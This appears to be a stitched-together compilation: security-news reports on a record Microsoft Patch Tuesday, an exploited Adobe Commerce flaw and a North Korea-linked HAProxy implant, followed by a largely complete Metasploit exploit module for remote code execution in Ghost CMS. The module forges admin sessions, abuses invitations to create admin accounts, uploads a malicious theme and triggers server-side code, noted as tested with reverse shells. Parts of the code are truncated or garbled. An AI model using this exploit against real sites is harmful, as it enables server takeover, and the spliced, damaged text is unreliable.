Microsoft on Tuesday broke Patch Tuesday records by addressing an earth-shattering 974 vulnerabilities spanning its software portfolio, including two flaws that it said have been actively exploited in the wild. These include 723 flaws in Windows, 111 in Office and Office 2016, 62 in SQL, and 22 in Developer Tools. Of these, over 110 shortcomings have been assigned a critical severity rating. Three prominent vulnerability types, namely privilege escalation, remote code execution, and information disclosure, account for nearly 90% of the flaws patched this month. Along with Microsoft's fixes for 25 non-Microsoft CVEs, the update brings the total number of vulnerabilities resolved to 999. September's record-setting security updates come after Microsoft patched 457 vulnerabilities in August, 663 in July, 220 in June, and 161 in May. "At this scale, the challenge is not simply getting through the patch list but knowing what needs attention first," Jack Bicer, director of vulnerability research at Action1, said. "With hundreds of updates landing at once, IT and security teams need to quickly separate the vulnerabilities that demand immediate action from those that can follow the normal deployment cycle." The two vulnerabilities that have come under active exploitation are listed below - CVE-2026-85880 (CVSS score: 7.8) - A heap-based buffer overflow vulnerability in Windows Advanced Local Procedure Call (ALPC) that allows an authorized attacker to elevate privileges locally and gain SYSTEM privileges CVE-2026-81963 (CVSS score: 7.8) - An improper link resolution vulnerability in the Windows Update Stack that allows an authorized attacker to elevate privileges locally and gain SYSTEM privileges "An attacker who can execute code in a low-privilege AppContainer could exploit this vulnerability locally to escape the sandbox and elevate privileges on the affected system," Microsoft said in an advisory for CVE-2026-85880. "No additional user interaction is required." Adam Barnett, lead software engineer at Rapid7, said all supported versions of Windows receive a patch for CVE-2026-81963, a move that "presumably tightens up controls to prevent the Windows Update Stack from following a malicious link and overwriting a system component with an attacker-controlled imposter." Cybersecurity companies Volexity and Proofpoint have been acknowledged for reporting CVE-2026-85880, while Romain Deperne, an offensive security researcher at Airbus Helicopters, and the Microsoft Threat Intelligence Center (MSTIC) have been credited with the second bug. The Windows maker said it has detected zero-day exploitation efforts targeting the flaws, but did not disclose any specifics as to who is behind them, the scale of such efforts, and if those attacks have successfully breached any victims. Per exposure management and vulnerability assessment platform Tenable, there have been seven privilege escalation flaws in the Windows Update Stack since 2022. However, CVE-2026-81963 is the first zero-day as well as the first to be exploited in the wild. As for CVE-2026-85880, it's the second to be weaponized as a zero-day since CVE-2023-21674, which was addressed in January 2023. The development has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add both flaws to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the fixes by September 22, 2026. Some of the other notable flaws patched by Microsoft are as follows - CVE-2026-55007 (CVSS score: 8.1) - A double free vulnerability in Microsoft Exchange Server that allows an unauthorized attacker to execute code over a network CVE-2026-80097 (CVSS score: 8.6) - An improper authentication vulnerability in Microsoft Authenticator that allows an unauthorized attacker to elevate privileges locally CVE-2026-69465 (CVSS score: 8.8) - A missing authorization vulnerability in Microsoft Office SharePoint that allows an authorized attacker to execute code over a network CVE-2026-65669 (CVSS score: 9.6) - An injection vulnerability in SQL Server allows an unauthorized attacker to elevate privileges over a network CVE-2026-69525 (CVSS score: 9.8) - A use-after-free vulnerability in Windows Remote Desktop Services that allows an unauthorized attacker to execute code over a network CVE-2026-69595 (CVSS score: 9.8) - A use-after-free vulnerability in Windows Services for NFS ONCRPC XDR Driver that allows an unauthorized attacker to execute code over a network CVE-2026-69730 (CVSS score: 9.8) - A use-after-free vulnerability in Windows DNS server that allows an unauthorized attacker to execute code over a network CVE-2026-69829 (CVSS score: 9.8) - A heap-based buffer overflow vulnerability in Windows Shell that allows an unauthorized attacker to execute code over a network CVE-2026-72979 (CVSS score: 9.8) - A use-after-free vulnerability in Windows DHCP Server that allows an unauthorized attacker to execute code over a network According to TrendAI's Zero Day Initiative (ZDI), Microsoft has patched a total of 2,760 security flaws this year alone, indicating how artificial intelligence (AI)-assisted vulnerability discoveries are unlikely to slow down any time soon. "September's Patch Tuesday release marks another turning point in the history of Patch Tuesday, as nearly 1,000 CVEs were patched this month (964), another new record set in 2026," Satnam Narang, senior staff research engineer at Tenable, said in a statement shared with The Hacker News. "To put it into context, this month's Patch Tuesday is nearly a 70% increase over the previous record (569) in July, and it pushes this year's total to over 2,600, which is already more than double the previous record-setting year in 2020 (1,245) with three more months left to go." Despite the massive batch of patches, the number of vulnerabilities that are expected to impact most organizations remains quite low, not to mention the absence of a correlating spike in active exploits so far. Narang added that it's critical for organizations to understand which vulnerabilities actually apply to them, whether they pose a threat by being reachable and exploitable over the internet, and prioritize remediation based on this risk context. "I think it is safe to say that, as long as Microsoft is playing catch-up on patching vulnerabilities, numbers have lost all meaning," Tyler Reguly, associate director of Security R&D at Fortra, said. "This is not a Microsoft specific problem. We see the same issue with Oracle and other large vendors that are being proactive. We need to remember that these large CVE counts are a good thing as we're reducing the attack surface before attackers get a chance to find and utilize the vulnerabilities. Eventually, all those long-standing, hard to find vulnerabilities will be fixed and Patch Tuesday will return to its typical cadence.

The vulnpocalypse is upon us, dear reader. Microsoft delivered a record number of patches to address 974 CVEs in its own products this month, including two bugs that Redmond says are already under exploitation. September's record-breaking collection of security updates come after Microsoft served up 421 fixes in August, and 622 in July. We've seen the new normal and we are not impressed. Thanks, but no thanks, AI. In addition to Microsoft’s massive patch drop, Adobe on Tuesday issued 10 bulletins addressing 172 CVEs, including a max-severity vulnerability exploited as a zero day in Magento and its successor product Adobe Commerce. Adobe on Monday shipped a hotfix for this one, tracked as CVE-2026-75650 and named StyleSmuggler, that gives unauthenticated attackers remote code execution. StyleSmuggler If your organization has any type of online shop, prioritize this one first as it’s already being abused to compromise stores, according to e-commerce security shop Sansec. Sansec discovered StyleSmuggler, and reports that attacks started on September 4. Every version of Magento and Adobe Commerce, from 2.4.4 up to and including 2.4.9, has the flaw. The bug allows attackers to inject malicious PHP code inside Magento templates using the “styles” properties to evade safety detections. In confirmed attacks, the payload then installs a backdoor that connects to a command-and-control server and waits for instructions. “So far, we have no indication that the backdoor has been weaponized,” the Sansec Forensics Team wrote. Don’t wait to find out on this one. Put it at the top of your mitigation list. Microsoft's 974 CVEs On to Microsoft’s record-breaking 974 CVEs, which according to Tenable is not many fewer than the 1,130 CVEs Redmond issued in 2025. Two are already being exploited as zero-days. First up: CVE-2026-85880, a privilege escalation bug in Windows Advanced Local Procedure Call (ALPC). Successful exploitation can result in the attacker gaining SYSTEM privileges. “An attacker who can execute code in a low-privilege AppContainer could exploit this vulnerability locally to escape the sandbox and elevate privileges on the affected system,” Redmond warned. “No additional user interaction is required.” No word yet on who is exploiting this bug, and to what end. The US Cybersecurity and Infrastructure Security Agency on Tuesday added CVE-2026-85880 plus a second Microsoft security hole (and the Adobe Commerce and Magento zero-day) to its Known Exploited Vulnerabilities Catalog, and set a September 22 deadline for federal agencies to fix both new Microsoft bugs and a September 11 deadline to patch the Adobe flaw. The second Microsoft bug found and exploited as a zero-day is CVE-2026-81963, another privilege escalation vulnerability. This one affects the Windows Update Stack. We also have very little detail about this flaw, other than it also allows attackers to gain SYSTEM-level access. “More likely is that this bug is being combined with a code execution bug to spread malware or ransomware,” opined Zero Day Initiative’s Dustin Childs, who advised users to “Patch this one quickly.” While those are the only two (so far) under active exploitation, Childs rated CVE-2026-55007, one of nine Exchange Server flaws disclosed this month, as “the most important” patch for the messaging server. It allows a remote, unauthenticated attacker to execute code on a vulnerable Exchange server by sending an email with a malicious Visio attachment. No user interaction is required, and the code executes when the server processes the attachment during content indexing. Redmond says it’s “difficult to reliably trigger,” but as Childs points out: “The attacker only needs to get it right once. Schedule your downtime and update your Exchange servers with haste.” Childs also said he counts 20 patches for wormable bugs, so be sure to read his full Patch Tuesday review for those. “While some might be more exploitable than others, having 20 of them in a single release is something else.” The missing CVE While Redmond addressed nearly 1,000 security holes this month alone, it’s also worth pointing out one that isn’t this month’s Patch Tuesday roundup: CVE-2026-85046. Google patched this bug in Chrome on September 3, and at the time warned that it “is aware that an exploit for CVE-2026-85046 exists in the wild.” The high-severity, type confusion flaw exists in the V8 JavaScript engine used in both Google’s Chrome and Microsoft’s Edge browsers. And yet Microsoft still hasn’t published a security advisory for CVE-2026-85046. “If you’re patched, you are protected, but if you rely on advisories to know which vulns exist, you could miss this zero-day vulnerability altogether,” Adam Barnett, lead software engineer at Rapid7, told The Register. “A patch without an advisory is perhaps marginally better than an advisory without a patch, but keeping track of exposures without reliable advisory materials is not straightforward,” Barnett said. “Chrome patched 11 other vulnerabilities at the same time as CVE-2026-85046, but it’s not yet clear if those are patched in Edge. Until Microsoft sets the record straight, the only safe assumption is that these vulnerabilities (e.g. CVE-2026-85045) remain unpatched in Edge.” ®

North Korea-aligned threat actors have been using a new Linux toolkit in attacks targeting automotive and media organizations in South Korea, Rapid7 reports. Designed for long-term surveillance, the framework consists of a HAProxy instance called ‘ted backdoor’ and trojanized versions of tools such as ‘agetty’, ‘atd’, ‘crond’, ‘polkitd’, and ‘sshd’. The toolkit supports remote command execution, credential harvesting, and script injection into web traffic, enabling attackers to spy on victims for long periods of time without detection. According to Rapid7, the framework is deeply integrated within the target infrastructure, with the ted backdoor being compiled as part of the HAProxy version 2.8.12 running on the victim’s environment. “It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected,” the cybersecurity firm explains. Likely in use since late 2024, when the first involved HAProxy iteration was released, the toolkit also uses a curl-based RAT, an SSH keylogger, and a stager. Initial access to an edge server was obtained through the exploitation of a Groupware login portal vulnerability. The SSH keylogger, which also serves as a staging server, was used for credential harvesting, enabling lateral movement to internal systems. “The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT, retrieving it either from its data section or the edge web server. In parallel, the ted backdoor is dropped onto the HAProxy load balancer,” Rapid7 explains. The backdoor establishes C&C communication for data exfiltration, script injection, and command execution, and the balancer starts redirecting or serving malicious content to selected clients browsing through it. CurlRAT, the curl-based RAT deployed in the attacks, polls the C&C every 12 hours for commands. Based on these, it can decrypt and execute commands stored in its configuration, decode and write a new config payload to disk, and deploy a full interactive PTY shell. The ted backdoor is a custom HAProxy plugin compiled within the HAProxy source code, directly hooked into the balancer’s built-in HTTP parser. It can intercept and inject HTTP traffic, execute C&C tasks, and achieve persistence, among others. As part of the observed attacks, the threat actor used domains registered under low-cost commodity top-level domains (TLDs) and blended the payload delivery traffic into normal web browsing, mimicking Naver’s pstatic.net static content domain. “Ted backdoor and curlRAT were designed to persist during long-term espionage operations with the ability to steal cookie sessions, credentials, redirect selected users, conduct drive-by download attacks, and hide evidence of the tampered page to a specific range of IPs to evade detection,” Rapid7 notes. Attack artifacts recovered by the cybersecurity firm, along with the infrastructure used, point to watering-hole techniques previously used by APT37 and Lazarus, and the campaign timeframe overlaps with that of Operation SyncHole, attributed to Lazarus last year, which suggests that a North Korean threat actor might be behind this campaign as well. Related: US, Allies Warn of Russian Cyberattacks Targeting Critical Infrastructure Routers Related: EU Targets Russian Intelligence Officers Accused of Running Cyber Spying Campaign Related: China, India-Linked Hackers Both Targeted Same Pakistani Police Force

A previously undocumented Linux toolkit has been found compiled directly into the trojanized HAProxy load balancers of two South Korean organizations, where it intercepted web traffic and served altered pages to selected visitors. The attackers named the implant ted in debug strings left in the binary. It is not a HAProxy vulnerability, and installing it requires code execution on the host and the ability to replace the running binary. Rapid7 Labs attributed the toolkit with medium confidence to North Korean state-sponsored actors and put the two victims in South Korea's automotive and media sectors. Command-and-control (C2) requests never reach a backend server and are erased from HAProxy's own connection counters, so neither the backend logs nor the load balancer's statistics record them. "Further evidence is necessary to make a more definitive assessment," Rapid7 said. A request for one specific image path puts the filter into C2 mode, Rapid7 said in a report published Friday. The implant decrements HAProxy's live connection counters, thereby dropping the connection from the load balancer's statistics. It writes the command body to a named pipe under /tmp. Zeroing the request channel afterwards leaves nothing to forward, and the command terminates at the load balancer. Output returns on the raw socket under a standard HTTP/1.0 200 OK header, which is what makes the exchange look like ordinary web traffic. Through that channel, the operator can beacon, upload and download files, run shell commands, and replace the implant's configuration. Only requests clearing four checks receive a modified page. The request has to carry a User-Agent and match a rule whose URL and referer patterns both fit. Delivery then falls to either whitelist membership on the client address, checked exactly and again at the /24 level, or an operator key in the Accept-Language header that overrides the address filtering entirely. The implant rewrites the content type and length on the way out, forces the response status to 200, and deletes the Accept-Ranges header so a client cannot request byte ranges and notice the size change. Rapid7 said its evidence was not enough to establish a timeline or determine how the attackers first got in. Its hypothesis that they came in through an exposed Groupware portal, a class of Korean enterprise collaboration software, rests on the ENKI research it points to. That report documented Kimsuky compromising a groupware vendor through a mail server flaw. The stager deploys only where HAProxy or cron is already running, and it verifies root before dropping anything. It overwrites the legitimate crond binary and gives the replacement the creation timestamp of /usr/bin/ssh. It then strips the keywords tmp, wget, cron and crond from root's bash history and from six system logs, among them auth.log and audit/audit.log. A trojanized sshd in the same toolkit encrypts captured plaintext passwords and writes them to a fixed path. Rapid7 found the same code in trojanized agetty, atd, and polkitd binaries. A companion remote access trojan (RAT) that Rapid7 calls curlRAT beacons every 12 hours by default and drops to a 30-second interval when the operator sets a flag. It aborts unless it finds a marker file showing the host is virtualized. curlRAT is distinct from CurlBack RAT, a separate family of that name attributed to the Pakistan-linked SideCopy group. Rapid7 shared the following indicators of compromise (IoCs) - Domain - img.monderhouse[.]space Domain - img.smartnords[.]site Domain - img.darklights[.]store Domain - img.responsive.pstatic[.]autos Domain - img.socialteams[.]store Domain - img.worksongo[.]store File - ~/cache/haproxy-1000.cache File - /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19 File - /var/lib/snapd/g580 File - /tmp/jasper-log SHA-256 - 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 SHA-256 - 4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 The Hacker News confirmed on September 4 that none of the six domains resolves, returning NXDOMAIN, meaning no such name exists, for both A and NS records via Google Public DNS. They are useful for reviewing historical logs rather than for blocking live traffic. Part of the attribution rests on a listing of those domains under APT37 in maltrail, an open-source detection project. The maltrail file Rapid7 links stopped resolving after a repository restructure in August moved the project's static trail data elsewhere. The Hacker News confirmed on September 4 that all six are present at the new location, each labelled as APT37 infrastructure. maltrail's APT37 source file credits those entries to two posts on X from July 2025 and carries no reference to Rapid7. Six further domains sit in the same two maltrail entries but not in Rapid7's list: primgs[.]lol, admin.primgs[.]lol, grip-cdns[.]space, show.grip-cdns[.]space, cleanos[.]online and app.cleanos[.]online. Rapid7 has not said whether they are the same infrastructure. The ThreatFox tag Rapid7 names as its second source for the same domains records five sightings, all timestamped July 2, 2025. One of the two X posts maltrail cites was published three hours earlier that day. The attribution passage draws on three separate North Korean clusters, APT37 for the domain list, Lazarus for the delivery model, and Kimsuky for the initial-access hypothesis. Mandiant's 2023 assessment of North Korean cyber structure recorded shared tooling and overlapping targeting across those clusters. "We believe that this will make precise attribution more difficult," Mandiant said. Rapid7 compared the delivery model to the Operation SyncHole campaign, in which visitors to South Korean online media sites were filtered by a server-side script and redirected. Kaspersky researchers Sojun Ryu and Vasily Berdnikov assessed "with medium confidence" that the redirected page may have run a malicious script against a flaw in Cross EX, a South Korean browser helper. Kaspersky's SyncHole report identified at least six victims in the software, IT, financial, semiconductor manufacturing and telecommunications sectors. Both victims ran HAProxy 2.8.12, released on November 8, 2024 per HAProxy's own release history. The implant reads HAProxy's internal structures at offsets fixed to that release, and Rapid7 does not say whether other 2.8 builds exist. The current release on that branch is 2.8.28, from August 27, 2026, 16 point releases later. HAProxy's tracker lists 529 known bugs affecting 2.8.12 that are already fixed in the branch, including 1 critical and 16 major. Upgrading does not clean a host the implant already sits on, because the attackers replace the binary rather than exploit a flaw in it. Rapid7 recommended independent network correlation, memory behavioural analysis and binary integrity checks. The report publishes no detection rules for that last check, and a recompiled HAProxy reports the same version string as a clean build. The development comes as AhnLab and ENKI WhiteHat documented a similar watering-hole campaign in July, in which state-sponsored operators abused compromised Korean websites to attack the AnySign4PC signing client.

Exploit Title: Ghost_CMS 6.19.0 - Remote Code Execution Date: 08/07/2026 Exploit Author: Maksim Rogov Vendor Homepage: https://ghost.org/ Software Link: https://ghost.org/ Version: >= 0.7.2, 'Ghost CMS Remote Code Execution', 'Description' => %q{ This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. The affected versions include all releases from 0.7.2 up to and including 6.19.0. For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Cristian-Alexandru Staicu' # Vulnerability Discovery ], 'References' => [ ['CVE', '2026-29053'], ['CVE', '2026-22594'], ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x'] ], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Ghost >= 0.7.2, ['unix', 'linux'] # Tested with cmd/unix/reverse_bash # Tested with cmd/unix/reverse_nodejs } ], [ 'Ghost >= 0.7.2, ['windows'] # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-03-02', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']), OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']), OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']), OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']), OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']), OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']), OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']), OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']), OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']), OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']), OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]), OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']]) ] ) end def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json') headers = {} headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session proto = ssl ? 'https' : 'http' target_origin = "#{proto}://#{rhost}:#{rport}" headers['Origin'] = target_origin request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data res = send_request_cgi({ 'method' => method, 'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint), 'headers' => headers, 'ctype' => ctype, 'vars_get' => params, 'data' => request_data, 'keep_cookies' => true }) if res.nil? print_error("Connection failed during #{method} to #{endpoint}") return nil end if res.code >= 400 json_body = res.get_json_document if json_body.is_a?(Hash) && json_body['errors'] error = json_body.dig('errors', 0) ctx = error.is_a?(Hash) ? error['context'] : nil print_error("Ghost Error (#{res.code}). #{ctx}") end end res end def create_post(title, slug, tags = nil) res = ghost_request_cgi('POST', 'posts/', data: { posts: [ { title: title, slug: slug, tags: tags, status: 'published', visibility: 'public' } ] }) res&.get_json_document&.dig('posts', 0, 'id') end def create_page(title, slug, *_args) res = ghost_request_cgi('POST', 'pages/', data: { pages: [ { title: title, slug: slug, status: 'published', visibility: 'public' } ] }) res&.get_json_document&.dig('pages', 0, 'id') end def create_rex_archive(binary_archive) zip = Rex::Zip::Archive.new Zip::File.open_buffer(binary_archive) do |z| z.each do |f| zip.entries setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))" [ '{{! ", and run again.') end print_error("Login failed! Response code: #{res.code}") false end end def save_session_cookie(response) raw_cookies = response.get_cookies if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/ captured_cookie = Regexp.last_match(1) framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie @ghost_admin_api_session = captured_cookie end end def do_login(email, password) if check_existing_session print_good('Valid active session detected via cookie. Skipping authentication steps.') return true end if datastore['TOTP_CODE'].present? return verify_totp_code end authenticate_with_password(email, password) end def build_archive_from_directory(directory_path) archive = Rex::Zip::Archive.new Dir.glob(File.join(directory_path, '**', '*')).each do |path| relative_path = path.sub("#{directory_path}/", '') if File.file?(path) archive.add_file(relative_path, File.read(path)) elsif File.directory?(path) archive.add_file(relative_path, nil, recursive: true) end end archive end def get_active_theme res = ghost_request_cgi('GET', 'themes/active/') res&.get_json_document&.dig('themes', 0) end def prepare_base_theme if datastore['ACTION'] == 'API_KEY' print_status('Using local template theme for JWT-based attack...') theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme') build_archive_from_directory(theme_path) else active_theme = get_active_theme fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash) @default_theme = active_theme&.dig('name') fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil? print_status("Downloading active theme \"#{@default_theme}\" from server...") theme_data = download_theme(@default_theme) fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty? create_rex_archive(theme_data) end end def activate_theme(theme_name) res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/") res&.code == 200 end def inject_payload(base_archive, template_pattern, slug) target_filename = template_pattern.gsub('{{SLUG}}', slug) payload_content = get_malicious_template print_status("Injecting payload into: #{target_filename}") base_archive.add_file(target_filename, payload_content) base_archive.pack end def pick_random_author(*_args) users = get_users(include: 'count.posts') fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty? active_users = users.select do |user| post_count = user.dig('count', 'posts').to_i post_count >= 1 end active_users.sample['slug'] end def get_author_by_slug(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def get_page(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def get_tag(slug) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '') ) fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 end def issue_jwt(key_id, secret) iat = Time.now.to_i payload = { iat: iat, exp: iat + 5 * 60, aud: '/admin/' } secret_bytes = [secret].pack('H*') Msf::Exploit::Remote::HTTP::JWT.encode( JSON.generate(payload), secret_bytes, 'HS256', { kid: key_id } ) end def get_roles res = ghost_request_cgi('GET', '/roles/') return nil unless res&.code == 200 res&.get_json_document&.dig('roles') end def invite_user(email, role_name) allowed_roles = %w[Administrator Editor Contributor Author] unless allowed_roles.include?(role_name) fail_with(Failure::BadConfig, "Invalid role: #{role_name}") end roles = get_roles role_id = roles.find { |role| role['name'] == role_name }['id'] res = ghost_request_cgi('POST', '/invites/', data: { invites: [ { role_id: role_id, email: email } ] }) unless res&.code == 201 fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}") end res&.get_json_document&.dig('invites', 0) end def activate_invite(token, name, email, password) res = ghost_request_cgi('POST', '/authentication/invitation/', data: { invitation: [ { name: name, email: email, password: password, token: token } ] }) res&.code == 200 end def handle_successful_activation(email, password) print_good("Account activated successfully: #{email} : #{password}") @account_created = true @invite_id = nil authenticate_with_password(email, password) end def auth_with_invite @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) email = datastore['EMAIL'] unless datastore['INVITE_LINK'].present? @invite_id = invite_user(email, 'Administrator')&.dig('id') print_warning("An invitation has been sent to #{email}.") print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.') fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK ", and run again.') end name = Faker::Name.unique.name pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true) token = URI.parse(datastore['INVITE_LINK']).path.split('/').last if activate_invite(token, name, email, pass) handle_successful_activation(email, pass) else fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.') end end def auth_with_jwt @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) @jwt_token.present? end def get_user_id(email) users = get_users return nil if users.nil? user = users.find { |user| user['email'] == email } user ? user['id'] : nil end def delete_user(email) user_id = get_user_id(email) return false unless user_id res = ghost_request_cgi('DELETE', "users/#{user_id}/") res && res.code == 200 end def get_config res = ghost_request_cgi('GET', 'config/') res&.get_json_document&.dig('config') end def sign_ghost_admin_session(secret, session_id) hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id) signature = Base64.strict_encode64(hmac).gsub(/=+$/, '') raw_cookie = "s:#{session_id}.#{signature}" Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase) end def auth action = datastore['ACTION'] required_params = case action when 'PASSWORD' then ['EMAIL', 'PASSWORD'] when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET'] when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET'] when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID'] when 'COOKIE' then ['GHOST_API_ADMIN_SESSION'] when nil, '' fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE') else fail_with(Failure::BadConfig, "Invalid ACTION: #{action}") end missing = required_params.select { |p| datastore[p].blank? } if missing.any? fail_with(Failure::BadConfig, "Authentication via \"#{action}\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})") end auth_success = case action when 'PASSWORD' do_login(datastore['EMAIL'], datastore['PASSWORD']) when 'API_KEY' print_status('Authenticating via Pure API Key (JWT generation)...') auth_with_jwt when 'INVITE' print_status('Authenticating via Invitation Flow...') auth_with_invite when 'SESSION_SECRET' print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...") @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID']) !get_config.nil? when 'COOKIE' print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...') @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'] !get_config.nil? end if auth_success print_good('Authentication successful!') else fail_with(Failure::NoAccess, "Authentication failed for ACTION \"#{action}\": Unable to establish a session. Verify your credentials/tokens.") end end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200 html = res&.get_html_document ghost_tag = html.at('meta[name="generator"][content^="Ghost"]') raw_content = ghost_tag&.[]('content') return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag # keep only digits and dots @version = Rex::Version.new(raw_content.gsub(/[^\d.]/, '')) return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0')) CheckCode::Safe("Detected version #{@version}, which is not vulnerable") end def cleanup super if @default_theme && @malicious_theme_name print_status('Reverting to default theme...') activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}") print_status('Removing malicious theme...') delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}") end if @content_id && @vector && @vector[:cleaner] print_status('Removing content...') send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}") end if @invite_id && datastore['INVITE_LINK'].present? print_status('Removing invitation...') delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation') end if @account_created print_status('Removing temporary account...') auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return) delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account') end end def exploit auth @vector_key = VECTORS.keys.sample @vector = VECTORS[@vector_key] if @vector_key == :author @trigger_slug = send(@vector[:creator]) else @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16) @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug]) end @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16) base_archive = prepare_base_theme if base_archive.nil? fail_with(Failure::BadConfig, 'Base archive could not be initialized') end infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug) print_status("Uploading infected theme: #{@malicious_theme_name}") upload_theme(@malicious_theme_name, infected_zip) activate_theme(@malicious_theme_name) print_status('Triggering payload...') send(@vector[:trigger], @trigger_slug) end end

